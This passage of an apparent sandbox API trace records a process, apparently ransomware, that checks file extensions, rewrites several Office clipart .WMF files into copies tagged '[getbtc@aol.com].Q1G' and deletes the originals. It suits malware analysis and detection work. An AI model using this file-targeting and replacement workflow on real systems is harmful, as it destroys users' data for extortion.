1 [0247.878] lstrlenW (lpString=".rar") returned 4 [0247.878] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0247.878] lstrlenW (lpString=".bz2") returned 4 [0247.878] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0247.878] lstrlenW (lpString=".7z") returned 3 [0247.879] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0247.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 63 [0247.879] lstrlenW (lpString=".dbf") returned 4 [0247.879] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0247.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 63 [0247.879] lstrlenW (lpString=".1cd") returned 4 [0247.879] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0247.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 63 [0247.879] lstrlenW (lpString=".jpg") returned 4 [0247.879] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0247.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 63 [0247.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 63 [0247.879] lstrlenW (lpString=".doc") returned 4 [0247.879] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0247.879] lstrlenW (lpString=".docx") returned 5 [0247.879] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0247.879] lstrlenW (lpString=".pdf") returned 4 [0247.879] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0247.879] lstrlenW (lpString=".xls") returned 4 [0247.879] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0247.879] lstrlenW (lpString=".xlsx") returned 5 [0247.879] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0247.879] lstrlenW (lpString=".ppt") returned 4 [0247.879] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0247.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 63 [0247.879] lstrlenW (lpString=".zip") returned 4 [0247.879] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0247.879] lstrlenW (lpString=".rar") returned 4 [0247.879] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0247.879] lstrlenW (lpString=".bz2") returned 4 [0247.879] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0247.879] lstrlenW (lpString=".7z") returned 3 [0247.879] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0247.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 63 [0247.879] lstrlenW (lpString=".dbf") returned 4 [0247.879] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0247.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 63 [0247.880] lstrlenW (lpString=".1cd") returned 4 [0247.880] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0247.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 63 [0247.880] lstrlenW (lpString=".jpg") returned 4 [0247.880] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0247.880] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0247.880] lstrlenW (lpString="DD01015_.WMF") returned 12 [0247.880] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01015_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0247.880] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=2226) returned 1 [0247.880] CloseHandle (hObject=0x200) returned 1 [0247.880] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01015_.wmf")) returned 0x20 [0247.880] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01015_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0247.881] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01015_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0247.881] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.881] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.881] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01015_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0247.881] GetLastError () returned 0x0 [0247.881] ReadFile (in: hFile=0x200, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x8b2, lpOverlapped=0x0) returned 1 [0247.883] WriteFile (in: hFile=0x3c0, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0x8c0, lpOverlapped=0x0) returned 1 [0247.883] ReadFile (in: hFile=0x200, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0247.883] WriteFile (in: hFile=0x3c0, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0247.883] SetEndOfFile (hFile=0x3c0) returned 1 [0247.884] CloseHandle (hObject=0x3c0) returned 1 [0247.884] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.884] SetEndOfFile (hFile=0x200) returned 1 [0247.887] CloseHandle (hObject=0x200) returned 1 [0247.887] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0247.888] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01015_.wmf")) returned 1 [0247.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 63 [0247.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 63 [0247.888] lstrlenW (lpString=".doc") returned 4 [0247.888] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0247.888] lstrlenW (lpString=".docx") returned 5 [0247.888] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0247.888] lstrlenW (lpString=".pdf") returned 4 [0247.888] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0247.888] lstrlenW (lpString=".xls") returned 4 [0247.888] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0247.888] lstrlenW (lpString=".xlsx") returned 5 [0247.888] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0247.888] lstrlenW (lpString=".ppt") returned 4 [0247.888] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0247.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 63 [0247.888] lstrlenW (lpString=".zip") returned 4 [0247.888] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0247.889] lstrlenW (lpString=".rar") returned 4 [0247.889] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0247.889] lstrlenW (lpString=".bz2") returned 4 [0247.889] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0247.889] lstrlenW (lpString=".7z") returned 3 [0247.889] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0247.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 63 [0247.889] lstrlenW (lpString=".dbf") returned 4 [0247.889] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0247.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 63 [0247.889] lstrlenW (lpString=".1cd") returned 4 [0247.889] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0247.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 63 [0247.889] lstrlenW (lpString=".jpg") returned 4 [0247.889] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0247.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 63 [0247.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 63 [0247.889] lstrlenW (lpString=".doc") returned 4 [0247.889] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0247.889] lstrlenW (lpString=".docx") returned 5 [0247.889] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0247.889] lstrlenW (lpString=".pdf") returned 4 [0247.889] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0247.889] lstrlenW (lpString=".xls") returned 4 [0247.889] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0247.889] lstrlenW (lpString=".xlsx") returned 5 [0247.889] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0247.889] lstrlenW (lpString=".ppt") returned 4 [0247.889] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0247.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 63 [0247.889] lstrlenW (lpString=".zip") returned 4 [0247.890] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0247.890] lstrlenW (lpString=".rar") returned 4 [0247.890] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0247.890] lstrlenW (lpString=".bz2") returned 4 [0247.890] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0247.890] lstrlenW (lpString=".7z") returned 3 [0247.890] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0247.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 63 [0247.890] lstrlenW (lpString=".dbf") returned 4 [0247.890] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0247.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 63 [0247.890] lstrlenW (lpString=".1cd") returned 4 [0247.890] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0247.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 63 [0247.890] lstrlenW (lpString=".jpg") returned 4 [0247.890] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0247.890] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0247.890] lstrlenW (lpString="DD01039_.WMF") returned 12 [0247.890] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01039_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0247.890] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=14820) returned 1 [0247.891] CloseHandle (hObject=0x200) returned 1 [0247.891] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01039_.wmf")) returned 0x20 [0247.891] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01039_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0247.891] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01039_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0247.891] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.891] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.891] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01039_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0247.892] GetLastError () returned 0x0 [0247.892] ReadFile (in: hFile=0x200, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x39e4, lpOverlapped=0x0) returned 1 [0247.894] WriteFile (in: hFile=0x3c0, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0x39f0, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0x39f0, lpOverlapped=0x0) returned 1 [0247.895] ReadFile (in: hFile=0x200, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0247.895] WriteFile (in: hFile=0x3c0, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0247.895] SetEndOfFile (hFile=0x3c0) returned 1 [0247.895] CloseHandle (hObject=0x3c0) returned 1 [0247.895] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.895] SetEndOfFile (hFile=0x200) returned 1 [0247.897] CloseHandle (hObject=0x200) returned 1 [0247.897] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0247.897] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01039_.wmf")) returned 1 [0247.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 63 [0247.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 63 [0247.898] lstrlenW (lpString=".doc") returned 4 [0247.898] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0247.898] lstrlenW (lpString=".docx") returned 5 [0247.898] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0247.898] lstrlenW (lpString=".pdf") returned 4 [0247.898] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0247.898] lstrlenW (lpString=".xls") returned 4 [0247.898] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0247.898] lstrlenW (lpString=".xlsx") returned 5 [0247.898] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0247.898] lstrlenW (lpString=".ppt") returned 4 [0247.898] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0247.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 63 [0247.898] lstrlenW (lpString=".zip") returned 4 [0247.898] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0247.898] lstrlenW (lpString=".rar") returned 4 [0247.898] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0247.898] lstrlenW (lpString=".bz2") returned 4 [0247.898] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0247.898] lstrlenW (lpString=".7z") returned 3 [0247.898] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0247.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 63 [0247.898] lstrlenW (lpString=".dbf") returned 4 [0247.898] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0247.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 63 [0247.898] lstrlenW (lpString=".1cd") returned 4 [0247.898] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0247.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 63 [0247.899] lstrlenW (lpString=".jpg") returned 4 [0247.899] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0247.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 63 [0247.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 63 [0247.899] lstrlenW (lpString=".doc") returned 4 [0247.899] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0247.899] lstrlenW (lpString=".docx") returned 5 [0247.899] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0247.899] lstrlenW (lpString=".pdf") returned 4 [0247.899] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0247.899] lstrlenW (lpString=".xls") returned 4 [0247.899] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0247.899] lstrlenW (lpString=".xlsx") returned 5 [0247.899] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0247.899] lstrlenW (lpString=".ppt") returned 4 [0247.899] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0247.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 63 [0247.899] lstrlenW (lpString=".zip") returned 4 [0247.899] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0247.899] lstrlenW (lpString=".rar") returned 4 [0247.899] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0247.899] lstrlenW (lpString=".bz2") returned 4 [0247.899] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0247.899] lstrlenW (lpString=".7z") returned 3 [0247.899] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0247.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 63 [0247.899] lstrlenW (lpString=".dbf") returned 4 [0247.899] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0247.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 63 [0247.899] lstrlenW (lpString=".1cd") returned 4 [0247.899] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0247.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 63 [0247.899] lstrlenW (lpString=".jpg") returned 4 [0247.899] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0247.900] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0247.900] lstrlenW (lpString="DD01138_.WMF") returned 12 [0247.900] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01138_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0247.900] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=3692) returned 1 [0247.900] CloseHandle (hObject=0x200) returned 1 [0247.900] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01138_.wmf")) returned 0x20 [0247.900] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01138_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0247.900] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01138_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0247.901] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.901] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.901] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01138_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0247.901] GetLastError () returned 0x0 [0247.901] ReadFile (in: hFile=0x200, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0xe6c, lpOverlapped=0x0) returned 1 [0247.919] WriteFile (in: hFile=0x3c0, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xe70, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xe70, lpOverlapped=0x0) returned 1 [0247.920] ReadFile (in: hFile=0x200, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0247.920] WriteFile (in: hFile=0x3c0, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0247.920] SetEndOfFile (hFile=0x3c0) returned 1 [0247.920] CloseHandle (hObject=0x3c0) returned 1 [0247.920] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.920] SetEndOfFile (hFile=0x200) returned 1 [0247.924] CloseHandle (hObject=0x200) returned 1 [0247.924] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0247.976] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01138_.wmf")) returned 1 [0247.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 63 [0247.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 63 [0247.977] lstrlenW (lpString=".doc") returned 4 [0247.977] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0247.977] lstrlenW (lpString=".docx") returned 5 [0247.977] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0247.977] lstrlenW (lpString=".pdf") returned 4 [0247.977] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0247.977] lstrlenW (lpString=".xls") returned 4 [0247.977] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0247.977] lstrlenW (lpString=".xlsx") returned 5 [0247.977] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0247.977] lstrlenW (lpString=".ppt") returned 4 [0247.977] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0247.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 63 [0247.977] lstrlenW (lpString=".zip") returned 4 [0247.977] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0247.977] lstrlenW (lpString=".rar") returned 4 [0247.977] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0247.977] lstrlenW (lpString=".bz2") returned 4 [0247.977] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0247.977] lstrlenW (lpString=".7z") returned 3 [0247.977] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0247.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 63 [0247.977] lstrlenW (lpString=".dbf") returned 4 [0247.977] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0247.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 